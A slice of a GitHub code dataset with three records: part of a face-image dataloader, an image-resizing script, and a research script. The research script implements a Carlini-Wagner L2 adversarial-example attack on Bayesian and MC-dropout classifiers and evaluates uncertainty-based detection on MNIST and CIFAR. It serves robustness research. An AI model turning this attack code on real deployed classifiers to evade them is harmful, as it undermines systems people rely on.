self.root = root\n self.is_augumenter = False\n self.augmenter = Augmenter(crop_augmentation_prob, photometric_augmentation_prob, low_res_augmentation_prob)\n self.swap_color_channel = swap_color_channel\n self.output_dir = output_dir # for checking the sanity of input images\n\n def __getitem__(self, index):\n \"\"\"\n Args:\n index (int): Index\n Returns:\n tuple: (sample, target) where target is class_index of the target class.\n \"\"\"\n try:\n path, target = self.samples[index]\n sample_gt = self.loader(path)\n sample_gt = Image.fromarray(np.asarray(sample_gt)[:,:,::-1])\n sample_input = self.loader(path.replace(\"gt\", \"sim\"))\n sample_input = Image.fromarray(np.asarray(sample_input)[:,:,::-1])\n noise = torch.load(path.replace(\"gt\", \"noise\").replace(\"jpg\", \"pt\"))\n except:\n import random\n return self.__getitem__(random.randint(0, 100))\n\n if self.swap_color_channel:\n # swap RGB to BGR if sample is in RGB\n # we need sample in BGR\n sample_input = Image.fromarray(np.asarray(sample_input)[:,:,::-1])\n sample_gt = Image.fromarray(np.asarray(sample_gt)[:,:,::-1])\n\n if self.is_augumenter:\n sample_input = self.augmenter.augment(sample_input)\n\n sample_input_save_path = os.path.join(self.output_dir, 'training_samples', 'sample_test.jpg')\n if not os.path.isfile(sample_input_save_path):\n os.makedirs(os.path.dirname(sample_input_save_path), exist_ok=True)\n cv2.imwrite(sample_input_save_path, np.array(sample_input)) # the result has to look okay (Not color swapped)\n\n if self.transform is not None:\n sample_input = self.transform(sample_input)\n sample_gt = self.transform(sample_gt)\n if self.target_transform is not None:\n target = self.target_transform(target)\n\n return sample_input, sample_gt, noise, target # turb, gt, noise_loaded, target\n\nif __name__ == '__main__':\n dataset = CustomImageFolderDataset(root = \"/data/ajay_data/cvpr2023/iarpa/faces_webface_112x112/gt\",\n transform=T.Compose([T.ToTensor(),T.RandomCrop(112)]),\n target_transform=None)\n params = {'batch_size': 64,\n 'shuffle': True,\n 'num_workers': 6}\n dataloader = torch.utils.data.DataLoader(dataset, **params)\n batch_data = next(iter(dataloader))\n print(batch_data[0].shape)","repo_name":"VITA-Group/PiRN","sub_path":"assets/dataloder.py","file_name":"dataloder.py","file_ext":"py","file_size_in_byte":3676,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"24859216947","text":"#!/usr/bin/env python3\n\nfrom PIL import Image\nimport glob\n\n\n# Original and final directory\nORIGINAL_DIRECTORY = \"/images/\"\nFINAL_DIRECTORY = \"/opt/icons/\"\n\ndef change_image(image_path: str) -> Image:\n \"\"\"Change image to 128x128 and rotate 90 degrees clockwise\"\"\"\n with Image.open(image_path) as image:\n image = image.convert(\"RGB\").rotate(90).resize((128, 128))\n return image\n\n\n# get image files from the directory\nsearch_string = ORIGINAL_DIRECTORY + \"*\"\nfile_names = glob.glob(search_string)\nfor file_path in file_names:\n file_name = file_path.split(\"/\")[-1]\n file_name = FINAL_DIRECTORY + file_name + \".jpeg\"\n new_image = change_image(file_path)\n new_image.save(file_name, \"JPEG\")\n","repo_name":"shubhenduanupamdutta/ScaleConvertImages","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8845265039","text":"from __future__ import print_function\nimport numpy as np\n\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Activation, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras.utils import np_utils, plot_model\nfrom keras.layers.core import Lambda\nfrom keras.callbacks import LearningRateScheduler\nfrom keras.optimizers import SGD\nimport keras\nfrom utils import *\n\nimport tensorflow as tf\nfrom setup_mnist import MNIST, MNISTModel\nfrom setup_cifar import CIFAR, CIFARModel\nimport os\n\nimport sys\nsys.path.append(\"../..\")\nfrom l2_attack import CarliniL2\n\nfrom glue import BNN\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import auc, accuracy_score\n\ndef show(img):\n remap = \" .*#\"+\"#\"*100\n img = (img.flatten()+.5)*3\n print(\"START\")\n for i in range(28):\n print(\"\".join([remap[int(round(x))] for x in img[i*28:i*28+28]]))\n\nBINARY_SEARCH_STEPS = 9 # number of times to adjust the constant with binary search\nMAX_ITERATIONS = 10000 # number of iterations to perform gradient descent\nABORT_EARLY = True # if we stop improving, abort gradient descent early\nLEARNING_RATE = 1e-2 # larger values converge faster to less accurate results\nTARGETED = True # should we target one specific class? or just be wrong?\nCONFIDENCE = 0 # how strong the adversarial example should be\nINITIAL_CONST = 1e-3 # the initial constant c to pick as a first guess\nISMNIST = False\nclass CarliniL2Multiple:\n def __init__(self, sess, models, batch_size=1, confidence = CONFIDENCE,\n targeted = TARGETED, learning_rate = LEARNING_RATE,\n binary_search_steps = BINARY_SEARCH_STEPS, max_iterations = MAX_ITERATIONS,\n abort_early = ABORT_EARLY, \n initial_const = INITIAL_CONST):\n \"\"\"\n The L_2 optimized attack. \n\n This attack is the most efficient and should be used as the primary \n attack to evaluate potential defenses.\n\n Returns adversarial examples for the supplied model.\n\n confidence: Confidence of adversarial examples: higher produces examples\n that are farther away, but more strongly classified as adversarial.\n batch_size: Number of attacks to run simultaneously.\n targeted: True if we should perform a targetted attack, False otherwise.\n learning_rate: The learning rate for the attack algorithm. Smaller values\n produce better results but are slower to converge.\n binary_search_steps: The number of times we perform binary search to\n find the optimal tradeoff-constant between distance and confidence. \n max_iterations: The maximum number of iterations. Larger values are more\n accurate; setting too small will require a large learning rate and will\n produce poor results.\n abort_early: If true, allows early aborts if gradient descent gets stuck.\n initial_const: The initial tradeoff-constant to use to tune the relative\n importance of distance and confidence. If binary_search_steps is large,\n the initial constant is not important.\n \"\"\"\n\n image_size, num_channels, num_labels = models[0].image_size, models[0].num_channels, models[0].num_labels\n self.sess = sess\n self.TARGETED = targeted\n self.LEARNING_RATE = learning_rate\n self.MAX_ITERATIONS = max_iterations\n self.BINARY_SEARCH_STEPS = binary_search_steps\n self.ABORT_EARLY = abort_early\n self.CONFIDENCE = confidence\n self.initial_const = initial_const\n self.batch_size = batch_size\n\n self.repeat = binary_search_steps >= 10\n\n shape = (batch_size,image_size,image_size,num_channels)\n \n # the variable we're going to optimize over\n modifier = tf.Variable(np.zeros(shape,dtype=np.float32))\n\n # these are variables to be more efficient in sending data to tf\n self.timg = tf.Variable(np.zeros(shape), dtype=tf.float32)\n self.tlab = tf.Variable(np.zeros((batch_size,num_labels)), dtype=tf.float32)\n self.const = tf.Variable(np.zeros(batch_size), dtype=tf.float32)\n\n # and here's what we use to assign them\n self.assign_timg = tf.placeholder(tf.float32, shape)\n self.assign_tlab = tf.placeholder(tf.float32, (batch_size,num_labels))\n self.assign_const = tf.placeholder(tf.float32, [batch_size])\n \n # the resulting image, tanh'd to keep bounded from -0.5 to 0.5\n self.newimg = tf.tanh(modifier + self.timg)/2\n \n # prediction BEFORE-SOFTMAX of the model\n outs = []\n for model in models:\n outs.append(model.predict(self.newimg))\n self.outputs = tf.transpose(tf.stack(outs), [1, 0, 2])\n print(self.outputs.get_shape())\n \n # distance to the input data\n self.l2dist = tf.reduce_sum(tf.square(self.newimg-tf.tanh(self.timg)/2),[1,2,3])\n \n # compute the probability of the label class versus the maximum other\n real = tf.reduce_sum((self.tlab[:,tf.newaxis,:])*self.outputs,2)\n other = tf.reduce_max((1-self.tlab[:,tf.newaxis,:])*self.outputs - (self.tlab[:,tf.newaxis,:]*10000),2)\n\n print('real',real.get_shape())\n print('other',real.get_shape())\n\n if self.TARGETED:\n # if targetted, optimize for making the other class most likely\n loss1 = tf.maximum(0.0, other-real+self.CONFIDENCE)\n else:\n # if untargeted, optimize for making this class least likely.\n loss1 = tf.maximum(0.0, real-other+self.CONFIDENCE)\n\n print('l1',loss1.get_shape())\n\n # sum up the losses\n self.loss2 = tf.reduce_sum(self.l2dist)\n self.loss1 = tf.reduce_sum(self.const[:,tf.newaxis]*loss1)\n self.loss = self.loss1+self.loss2\n \n # Setup the adam optimizer and keep track of variables we're creating\n start_vars = set(x.name for x in tf.global_variables())\n optimizer = tf.train.AdamOptimizer(self.LEARNING_RATE)\n self.train = optimizer.minimize(self.loss, var_list=[modifier])\n end_vars = tf.global_variables()\n new_vars = [x for x in end_vars if x.name not in start_vars]\n\n # these are the variables to initialize when we run\n self.setup = []\n self.setup.append(self.timg.assign(self.assign_timg))\n self.setup.append(self.tlab.assign(self.assign_tlab))\n self.setup.append(self.const.assign(self.assign_const))\n \n self.init = tf.variables_initializer(var_list=[modifier]+new_vars)\n\n def attack(self, imgs, targets):\n \"\"\"\n Perform the L_2 attack on the given images for the given targets.\n\n If self.targeted is true, then the targets represents the target labels.\n If self.targeted is false, then targets are the original class labels.\n \"\"\"\n r = []\n print('go up to',len(imgs))\n for i in range(0,len(imgs),self.batch_size):\n print('tick',i)\n r.extend(self.attack_batch(imgs[i:i+self.batch_size], targets[i:i+self.batch_size]))\n return np.array(r)\n\n def attack_batch(self, imgs, labs):\n \"\"\"\n Run the attack on a batch of images and labels.\n \"\"\"\n def compare(x,y):\n if not isinstance(x, (float, int, np.int64)):\n x = np.copy(x)\n x[y] -= self.CONFIDENCE\n x = np.argmax(x)\n if self.TARGETED:\n return x == y\n else:\n return x != y\n\n batch_size = self.batch_size\n\n # convert to tanh-space\n imgs = np.arctanh(imgs*1.999999)\n\n # set the lower and upper bounds accordingly\n lower_bound = np.zeros(batch_size)\n CONST = np.ones(batch_size)*self.initial_const\n upper_bound = np.ones(batch_size)*1e10\n\n # the best l2, score, and image attack\n o_bestl2 = [1e10]*batch_size\n o_bestscore = [-1]*batch_size\n o_bestattack = [np.zeros(imgs[0].shape)]*batch_size\n \n for outer_step in range(self.BINARY_SEARCH_STEPS):\n #print(o_bestl2)\n # completely reset adam's internal state.\n self.sess.run(self.init)\n batch = imgs[:batch_size]\n batchlab = labs[:batch_size]\n \n bestl2 = [1e10]*batch_size\n bestscore = [-1]*batch_size\n\n # The last iteration (if we run many steps) repeat the search once.\n if self.repeat == True and outer_step == self.BINARY_SEARCH_STEPS-1:\n CONST = upper_bound\n print(CONST)\n\n # set the variables so that we don't have to send them over again\n self.sess.run(self.setup, {self.assign_timg: batch,\n self.assign_tlab: batchlab,\n self.assign_const: CONST})\n \n prev = 1e20\n for iteration in range(self.MAX_ITERATIONS):\n # perform the attack \n _, l, l2s, scores, nimg = self.sess.run([self.train, self.loss, \n self.l2dist, self.outputs, \n self.newimg])\n\n #print(np.argmax(scores))\n # print out the losses every 10%\n if iteration%(self.MAX_ITERATIONS//10) == 0:\n print(iteration,self.sess.run((self.loss,self.loss1,self.loss2)))\n\n # check if we should abort search if we're getting nowhere.\n if self.ABORT_EARLY and iteration%(self.MAX_ITERATIONS//10) == 0:\n if l > prev*.9999:\n break\n prev = l\n\n # adjust the best result found so far\n for e,(l2,sc,ii) in enumerate(zip(l2s,scores,nimg)):\n if l2 < bestl2[e] and np.mean([compare(x, np.argmax(batchlab[e])) for x in sc])>=.7:\n bestl2[e] = l2\n bestscore[e] = np.argmax(sc)\n if l2 < o_bestl2[e] and np.mean([compare(x, np.argmax(batchlab[e])) for x in sc])>=.7:\n o_bestl2[e] = l2\n o_bestscore[e] = np.argmax(sc)\n o_bestattack[e] = ii\n\n print('bestl2',bestl2)\n print('bestscore',bestscore)\n # adjust the constant as needed\n for e in range(batch_size):\n if bestscore[e] != -1:\n # success, divide const by two\n upper_bound[e] = min(upper_bound[e],CONST[e])\n if upper_bound[e] < 1e9:\n CONST[e] = (lower_bound[e] + upper_bound[e])/2\n else:\n # failure, either multiply by 10 if no solution found yet\n # or do binary search with the known upper bound\n lower_bound[e] = max(lower_bound[e],CONST[e])\n if upper_bound[e] < 1e9:\n CONST[e] = (lower_bound[e] + upper_bound[e])/2\n else:\n CONST[e] *= 10\n\n # return the best solution found\n o_bestl2 = np.array(o_bestl2)\n return o_bestattack\n\nclass Wrap:\n def __init__(self, model):\n self.image_size = 28 if ISMNIST else 32\n self.num_channels = 1 if ISMNIST else 3\n self.num_labels = 10\n self.model = model\n\n def predict(self, xs):\n return self.model(xs)\n\ndef make_model(Model, dropout=True, fixed=False):\n def Dropout(p):\n if not dropout: \n p = 0\n def my_dropout(x):\n if fixed:\n shape = x.get_shape().as_list()[1:]\n keep = np.random.random(shape)>p\n return x*keep\n else:\n return tf.nn.dropout(x, 1-p)\n return keras.layers.core.Lambda(my_dropout)\n\n return Model(None, Dropout=Dropout).model\n \n\ndef compute_u(sess, modeld, data):\n T = 100\n ys = np.array(list(zip(*[sess.run(tf.nn.softmax(modeld.predict(data))) for _ in range(T)])))\n print(ys.shape)\n \n term1 = np.mean(np.sum(ys**2,axis=2),axis=1)\n\n term2 = np.sum(np.mean(ys,axis=1)**2,axis=1)\n print(\"uncertainties\")\n print(term1 - term2)\n\n print('absolute mean uncertainty',np.mean(term1-term2))\n \n return term1-term2\n \n\ndef differentable_u(modeld, data, count):\n\n data = tf.tile(data, [count, 1, 1, 1])\n \n ys = tf.nn.softmax(modeld(data))\n\n ys = tf.reshape(ys, [count, -1, 10])\n ys = tf.transpose(ys, perm=[1, 0, 2])\n\n term1 = tf.reduce_mean(tf.reduce_sum(ys**2,axis=2),axis=1)\n\n term2 = tf.reduce_sum(tf.reduce_mean(ys,axis=1)**2,axis=1)\n \n return term1-term2\n\ndef differentiable_u_multiple(models, data):\n\n ys = []\n for model in models:\n ys.append(tf.nn.softmax(model(data)))\n\n ys = tf.stack(ys)\n ys = tf.transpose(ys, perm=[1, 0, 2])\n\n term1 = tf.reduce_mean(tf.reduce_sum(ys**2,axis=2),axis=1)\n\n term2 = tf.reduce_sum(tf.reduce_mean(ys,axis=1)**2,axis=1)\n \n return term1-term2\n\n\ndef create_filename(dataset, inf, threat, content):\n return \"results/\" + dataset + '_' + inf + '_' + threat + '_' + content\n \n \ndef gray_box(clean_x, clean_y, confidence, model):\n #hyperparams = init_hp...\n # model = Model.create_model()\n single_model = model.model_list[np.random.choice(len(model.model_list),1)[0]]#np.random.choice(model.model_list, 1)\n # print(type(single_model))\n # print(type(model.model))\n sess = keras.backend.get_session()\n attack = CarliniL2(sess, Wrap(single_model), batch_size=20, max_iterations=10000,#1000\n binary_search_steps=9, learning_rate=1e-2, initial_const=1e-3,\n targeted=False, confidence=confidence, abort_early=True)\n adv = attack.attack(clean_x, clean_y)\n return adv\n\ndef white_box(clean_x, clean_y, confidence, model):\n all_models = model.model_list\n indices = np.random.choice(len(model.model_list), size=50, replace=False)\n models = []\n for i in indices:\n models.append(all_models[i])\n # models = np.random.choice(all_models, size=20, replace=False)\n sess = keras.backend.get_session()\n attack = CarliniL2Multiple(sess, [Wrap(m) for m in models], batch_size=20, binary_search_steps=9,\n initial_const=1e-3, max_iterations=10000, confidence=confidence, #1000 iters\n targeted=False, abort_early=True, learning_rate=1e-2)\n adv = attack.attack(clean_x, clean_y)\n return adv\n\ndef eval_model(model, clean_x, clean_y, adv):\n #Accuracy measurements\n sess = keras.backend.get_session()\n adv_preds = model.model.predict(adv)\n adv_acc = np.mean(np.argmax(adv_preds,axis=1) == np.argmax(clean_y,axis=1))\n dist = np.mean([np.linalg.norm(clean_x[i]-adv[i]) for i in range(len(clean_x))])\n models = model.model_list\n if ISMNIST:\n p = tf.placeholder(tf.float32, (None, 28, 28, 1))\n else:\n p = tf.placeholder(tf.float32, (None, 32, 32, 3))\n r1 = differentiable_u_multiple(models, p)\n r2 = differentiable_u_multiple(models, p)\n clean_unc = sess.run(r1, {p: clean_x})\n adv_unc = sess.run(r2, {p: adv})\n #print('uncertainty on test data', np.mean((sess.run(r, {p: data.test_data[:N]}))))\n # clean_unc = differentiable_u_multiple(models, clean_x)\n # adv_unc = differentiable_u_multiple(models, adv)\n # roc_auc(clean_unc, adv_unc)\n # print(\"Adv. Acc, Distortion, Mean Clean Unc, Mean Adv Unc: \", adv_acc, dist, \n # np.mean(clean_unc), np.mean(adv_unc))\n return adv_acc, dist, (clean_unc, adv_unc)\n\ndef run_attacks():\n datasets = [\"CIFAR10\", \"MNIST\"]\n inf_methods = [\"ADVI\", \"NUTS\"]#, \"HMC\", \"MCDROP\"]\n colors = [\"gray\", \"white\"]\n confs = [0,0.25,0.5,1,2,4,8,12,16,24,32,48,64]\n for dataset in datasets:\n for inf in inf_methods:\n global ISMNIST\n if dataset == \"MNIST\":\n ISMNIST = True\n data = MNIST()\n else:\n ISMNIST = False\n data = CIFAR()\n #standardize naming of pkls between comps in some way\n path = \"pkls/\" + dataset + \"-\" + inf + \".zip\"\n try:\n # print(path)\n model = BNN(path, ISMNIST=ISMNIST)\n except(FileNotFoundError):\n pass\n clean_x = data.test_data[:20]\n clean_y = data.test_labels[:20]\n g_results = [[],[],[]]\n w_results = [[],[],[]]\n for conf in confs:\n adv_gray_box = gray_box(clean_x, clean_y, conf, model)\n adv_white_box = white_box(clean_x, clean_y, conf, model)\n g_adv_acc, g_dist, g_uncs = eval_model(model,clean_x,clean_y, adv_gray_box)\n w_adv_acc, w_dist, w_uncs = eval_model(model,clean_x,clean_y, adv_white_box)\n g_results[0].append(g_adv_acc)\n g_results[1].append(g_dist)\n g_results[2].append(g_uncs)\n w_results[0].append(w_adv_acc)\n w_results[1].append(w_dist)\n w_results[2].append(w_uncs)\n #visualize adv examples\n adv_ex_g = adv_gray_box[0]\n adv_ex_w = adv_white_box[0]\n if dataset == \"MNIST\":\n plt.gray()\n adv_ex_g = adv_ex_g.reshape([28,28])\n adv_ex_w = adv_ex_w.reshape([28,28])\n else:\n #cifar10 images subtracted .5 in setup_cifar\n #reshape(32,32,3)?\n adv_ex_g += 0.5\n adv_ex_w += 0.5\n plt.imshow(adv_ex_g)\n # plt.show()\n plt.savefig(\"adv_vis/\" + dataset + \"_\" + inf + \"_\" + (str)(conf) + \"_gray_adv_visualization.png\")\n plt.imshow(adv_ex_w)\n plt.savefig(\"adv_vis/\" + dataset + \"_\" + inf + \"_\" + (str)(conf) + \"_white_adv_visualization.png\")\n np.save(create_filename(dataset, inf, \"gray\", \"adv_accs\"), np.array(g_results[0]))\n np.save(create_filename(dataset, inf, \"gray\", \"dists\"), np.array(g_results[1]))\n np.save(create_filename(dataset, inf, \"gray\", \"uncs\"), np.array(g_results[2]))\n np.save(create_filename(dataset, inf, \"white\", \"adv_accs\"), np.array(w_results[0]))\n np.save(create_filename(dataset, inf, \"white\", \"dists\"), np.array(w_results[1]))\n np.save(create_filename(dataset, inf, \"white\", \"uncs\"), np.array(w_results[2]))\n # np.save(create_filename(dataset, inf, \"white\", \"results\"), np.array(w_results))\n for i in range(len(confs)):\n print(\"datatset: {}, inf_method: {}, threat: gray, conf: {}\".format(dataset, inf, confs[i]))\n print(\"Adv. Acc: {}, Distortion: {}, Mean Clean Unc: {}, Mean Adv Unc: {}\".format(g_results[0][i], g_results[1][i], \n np.mean(g_results[2][i][0]), np.mean(g_results[2][i][1])))\n print(\"datatset: {}, inf_method: {}, threat: white, conf: {}\".format(dataset, inf, confs[i]))\n print(\"Adv. Acc: {}, Distortion: {}, Mean Clean Unc: {}, Mean Adv Unc: {}\".format(w_results[0][i], w_results[1][i], \n np.mean(w_results[2][i][0]), np.mean(w_results[2][i][1])))\n\n# confs = [0,1,2,3,4,5,6,7,8,9,10,20,50] \ndef run_mc_drop():\n global ISMNIST\n ISMNIST = False\n keras.backend.set_learning_phase(False)\n model = make_model(CIFARModel, dropout=True)\n model.load_weights(\"models/MCDrop-cifar\")\n data = CIFAR()\n confs = [0,0.25,0.5,1,2,4,8,12,16,24,32,48,64]\n clean_x = data.test_data[:20]\n clean_y = data.test_labels[:20]\n g_results = [[],[],[]]\n w_results = [[],[],[]]\n for conf in confs:\n adv_gray_box = mc_drop_gray_box(clean_x, clean_y, conf, CIFARModel)\n adv_white_box = mc_drop_white_box(clean_x, clean_y, conf, CIFARModel)\n g_adv_acc, g_dist, g_uncs = mc_drop_eval_model(CIFARModel,clean_x,clean_y, adv_gray_box)\n w_adv_acc, w_dist, w_uncs = mc_drop_eval_model(CIFARModel,clean_x,clean_y, adv_white_box)\n g_results[0].append(g_adv_acc)\n g_results[1].append(g_dist)\n g_results[2].append(g_uncs)\n w_results[0].append(w_adv_acc)\n w_results[1].append(w_dist)\n w_results[2].append(w_uncs)\n #visualize adv examples\n adv_ex_g = adv_gray_box[0]\n adv_ex_w = adv_white_box[0]\n dataset = \"CIFAR\"\n inf = \"MCDROP\"\n if dataset == \"MNIST\":\n plt.gray()\n adv_ex_g = adv_ex_g.reshape([28,28])\n adv_ex_w = adv_ex_w.reshape([28,28])\n else:\n #cifar10 images subtracted .5 in setup_cifar\n #reshape(32,32,3)?\n # adv_ex_g = adv_ex_g.reshape([32,32])\n # adv_ex_w = adv_ex_w.reshape([32,32])\n adv_ex_g += 0.5\n adv_ex_w += 0.5\n plt.imshow(adv_ex_g)\n # plt.show()\n plt.savefig(\"adv_vis/\" + dataset + \"_\" + inf + \"_\" + (str)(conf) + \"_gray_adv_visualization.png\")\n plt.imshow(adv_ex_w)\n plt.savefig(\"adv_vis/\" + dataset + \"_\" + inf + \"_\" + (str)(conf) + \"_white_adv_visualization.png\")\n np.save(create_filename(dataset, inf, \"gray\", \"adv_accs\"), np.array(g_results[0]))\n np.save(create_filename(dataset, inf, \"gray\", \"dists\"), np.array(g_results[1]))\n np.save(create_filename(dataset, inf, \"gray\", \"uncs\"), np.array(g_results[2]))\n np.save(create_filename(dataset, inf, \"white\", \"adv_accs\"), np.array(w_results[0]))\n np.save(create_filename(dataset, inf, \"white\", \"dists\"), np.array(w_results[1]))\n np.save(create_filename(dataset, inf, \"white\", \"uncs\"), np.array(w_results[2]))\n # np.save(create_filename(dataset, inf, \"white\", \"results\"), np.array(w_results))\n for i in range(len(confs)):\n print(\"datatset: {}, inf_method: {}, threat: gray, conf: {}\".format(dataset, inf, confs[i]))\n print(\"Adv. Acc: {}, Distortion: {}, Mean Clean Unc: {}, Mean Adv Unc: {}\".format(g_results[0][i], g_results[1][i], \n np.mean(g_results[2][i][0]), np.mean(g_results[2][i][1])))\n print(\"datatset: {}, inf_method: {}, threat: white, conf: {}\".format(dataset, inf, confs[i]))\n print(\"Adv. Acc: {}, Distortion: {}, Mean Clean Unc: {}, Mean Adv Unc: {}\".format(w_results[0][i], w_results[1][i], \n np.mean(w_results[2][i][0]), np.mean(w_results[2][i][1])))\n\ndef roc_auc(clean_us, adv_us):\n uncertainties = np.concatenate((np.stack((clean_us, np.zeros(len(clean_us))),axis=-1), np.stack((adv_us, np.ones(len(adv_us))),axis=-1)))\n # print(uncertainties)\n uncertainties = uncertainties[uncertainties[:,0].argsort()][::-1]\n # print(uncertainties)\n min_u = uncertainties[len(uncertainties)-1][0]\n max_u = uncertainties[0][0]\n u_range = max_u - min_u\n us = np.linspace(max_u, min_u, 50)\n TPRs = []\n FPRs = []\n i = 0\n FP = 0\n TP = 0\n num_clean = (float)(len(clean_us))\n num_adv = (float)(len(adv_us))\n for u in us:\n while uncertainties[i][0] > u:\n if uncertainties[i][1] == 0:\n FP += 1\n else:\n TP += 1\n i += 1\n TPRs.append(TP/num_adv)\n FPRs.append(FP/num_clean)\n # print(\"TPRS: \\n{}\".format(TPRs))\n # print(\"FPRS: \\n{}\".format(FPRs))\n auc_val = auc(FPRs + [1.0], TPRs + [1.0])\n return auc_val, TPRs, FPRs\n # print(\"auc_val: {}\".format(auc_val))\n\n\ndef mc_drop_gray_box(clean_x, clean_y, confidence, model):\n #hyperparams = init_hp...\n # model = Model.create_model()\n single_model = make_model(model, dropout=True)\n single_model.load_weights(\"models/MCDrop-cifar\") # print(type(single_model))\n # print(type(model.model))\n sess = keras.backend.get_session()\n attack = CarliniL2(sess, Wrap(single_model), batch_size=20, max_iterations=1000,#1000\n binary_search_steps=3, learning_rate=1e-1, initial_const=1,\n targeted=False, confidence=confidence, abort_early=True)\n adv = attack.attack(clean_x, clean_y)\n return adv\n\ndef mc_drop_white_box(clean_x, clean_y, confidence, model):\n models = []\n for _ in range(20):\n m = make_model(model, dropout=True, fixed=True)\n m.load_weights(\"models/MCDrop-cifar\")\n models.append(m)\n # models = np.random.choice(all_models, size=20, replace=False)\n sess = keras.backend.get_session()\n attack = CarliniL2Multiple(sess, [Wrap(m) for m in models], batch_size=20, binary_search_steps=4,\n initial_const=1, max_iterations=1000, confidence=confidence, #1000 iters\n targeted=False, abort_early=True, learning_rate=1e-1)\n adv = attack.attack(clean_x, clean_y)\n return adv\n\ndef mc_drop_eval_model(model, clean_x, clean_y, adv):\n #Accuracy measurements\n models = []\n for _ in range(20):\n m = make_model(model, dropout=True, fixed=True)\n m.load_weights(\"models/MCDrop-cifar\")\n models.append(m)\n #bad change to avg\n model = models[0]\n sess = keras.backend.get_session()\n adv_preds = model.predict(adv)\n adv_acc = np.mean(np.argmax(adv_preds,axis=1) == np.argmax(clean_y,axis=1))\n dist = np.mean([np.linalg.norm(clean_x[i]-adv[i]) for i in range(len(clean_x))])\n if ISMNIST:\n p = tf.placeholder(tf.float32, (None, 28, 28, 1))\n else:\n p = tf.placeholder(tf.float32, (None, 32, 32, 3))\n r1 = differentiable_u_multiple(models, p)\n r2 = differentiable_u_multiple(models, p)\n clean_unc = sess.run(r1, {p: clean_x})\n adv_unc = sess.run(r2, {p: adv})\n #print('uncertainty on test data', np.mean((sess.run(r, {p: data.test_data[:N]}))))\n # clean_unc = differentiable_u_multiple(models, clean_x)\n # adv_unc = differentiable_u_multiple(models, adv)\n # roc_auc(clean_unc, adv_unc)\n # print(\"Adv. Acc, Distortion, Mean Clean Unc, Mean Adv Unc: \", adv_acc, dist, \n # np.mean(clean_unc), np.mean(adv_unc))\n return adv_acc, dist, (clean_unc, adv_unc)\n\ndef plot_results(dataset, inf, color):\n path = \"results/{}_{}_{}\".format(dataset, inf, color)\n title_desc = \"{} {} {}box\".format(dataset, inf, color)\n filename = \"plots/{}_{}_{}\".format(dataset, inf, color)\n aucs = []\n max_auc = 0\n plot_TPRs = []\n plot_FPRs = []\n uncs_path = path + \"_uncs.npy\"\n dists_uncs = np.load(uncs_path)\n for uncs in dists_uncs:\n auc_val, TPRs, FPRs = roc_auc(uncs[0], uncs[1])\n if auc_val > max_auc:\n max_auc = auc_val\n plot_TPRs = TPRs\n plot_FPRs = FPRs\n aucs.append(auc_val)\n plt.plot(plot_FPRs + [1.0], plot_TPRs + [1.0])\n plt.title(\"ROC Curve for {}\".format(title_desc))\n plt.xlabel(\"FPR\")\n plt.ylabel(\"TPR\")\n plt.savefig(\"{}_ROC.png\".format(filename))\n plt.show()\n\n dists_path = path + \"_dists.npy\"\n dists = np.load(dists_path)\n zipped = sorted(zip(dists, aucs))\n plot_1_xy = ([a for a,b in zipped], [b for a,b in zipped])\n plt.plot(plot_1_xy[0], plot_1_xy[1])\n plt.title(\"AUC vs Distortion for {}\".format(title_desc))\n plt.xlabel(\"Distortion\")\n plt.ylabel(\"AUC Value\")\n plt.savefig(\"{}_AUC_vs_dist.png\".format(filename))\n plt.show()\n\n adv_accs_path = path + \"_adv_accs.npy\"\n adv_accs = np.load(adv_accs_path)\n zipped = sorted(zip(dists, adv_accs))\n plot_1_xy = ([a for a,b in zipped], [b for a,b in zipped])\n plt.plot(plot_1_xy[0], plot_1_xy[1])\n plt.title(\"Adversarial Accuracy vs Distortion for {}\".format(title_desc))\n plt.xlabel(\"Distortion\")\n plt.ylabel(\"Adv Accuracy\")\n plt.savefig(\"{}_adv_acc_vs_dist.png\".format(filename))\n plt.show()\n\n #All adv accuracies on same graph for each model + inf vs dist\n\n\n\ndef test(Model, data, path):\n keras.backend.set_learning_phase(False)\n model = make_model(Model, dropout=False)\n model.load_weights(path)\n print(\"Model type is: \", type(model))\n print(model.summary())\n print(model.input_shape)\n\n modeld = make_model(Model, dropout=True)\n modeld.load_weights(path)\n\n print(\"Data type is: \", type(data.test_data))\n print(data.test_data.shape)\n guess = model.predict(data.test_data)\n print(guess[:10])\n print('Accuracy without dropout',np.mean(np.argmax(guess,axis=1) == np.argmax(data.test_labels,axis=1)))\n\n guess = modeld.predict(data.test_data)\n print('Accuracy with dropout', np.mean(np.argmax(guess,axis=1) == np.argmax(data.test_labels,axis=1)))\n \n sess = keras.backend.get_session()\n\n N = 50\n labs = get_labs(data.test_data[:N])\n print(labs)\n print('good?',np.sum(labs*data.test_labels[:N]))\n\n attack = CarliniL2(sess, Wrap(model), batch_size=N, max_iterations=1000,\n binary_search_steps=3, learning_rate=1e-1, initial_const=1,\n targeted=True, confidence=0)\n adv = attack.attack(data.test_data[:N], labs)\n guess = model.predict(adv)\n mc_drop_preds = modeld.predict(adv)\n print('Accuracy of MC-dropout on gray-box attack',np.mean(np.argmax(mc_drop_preds,axis=1) == np.argmax(data.test_labels,axis=1)))\n print('average distortion',np.mean(np.sum((data.test_data[:N]-adv)**2,axis=(1,2,3))**.5))\n print(guess[:10])\n\n print(\"Test data\")\n valid_u = compute_u(sess, modeld, data.test_data[:N])\n print(\"Adversarial examples\")\n adv_u = compute_u(sess, modeld, adv)\n\n # The below attack may not even be necessary for CIFAR\n # the adversarial examples generated with (3,1000,1e-1) have a lower mean\n # uncertainty than the test images, but again with a 3x increase in distortion.\n\n if ISMNIST:\n p = tf.placeholder(tf.float32, (None, 28, 28, 1))\n else:\n p = tf.placeholder(tf.float32, (None, 32, 32, 3))\n r = differentable_u(modeld, p, 100) \n\n models = []\n for _ in range(20):\n m = make_model(Model, dropout=True, fixed=True)\n m.load_weights(path)\n models.append(m)\n #r2 = differentable_u_multiple(models, p)\n\n #print('uncertainty on test data', np.mean((sess.run(r, {p: data.test_data[:N]}))))\n #print('uncertainty on test data (multiple models)', np.mean((sess.run(r2, {p: data.test_data[:N]}))))\n #print('labels on robust model', np.argmax(sess.run(robustmodel.predict(p), {p: data.test_data[:100]}),axis=1))\n 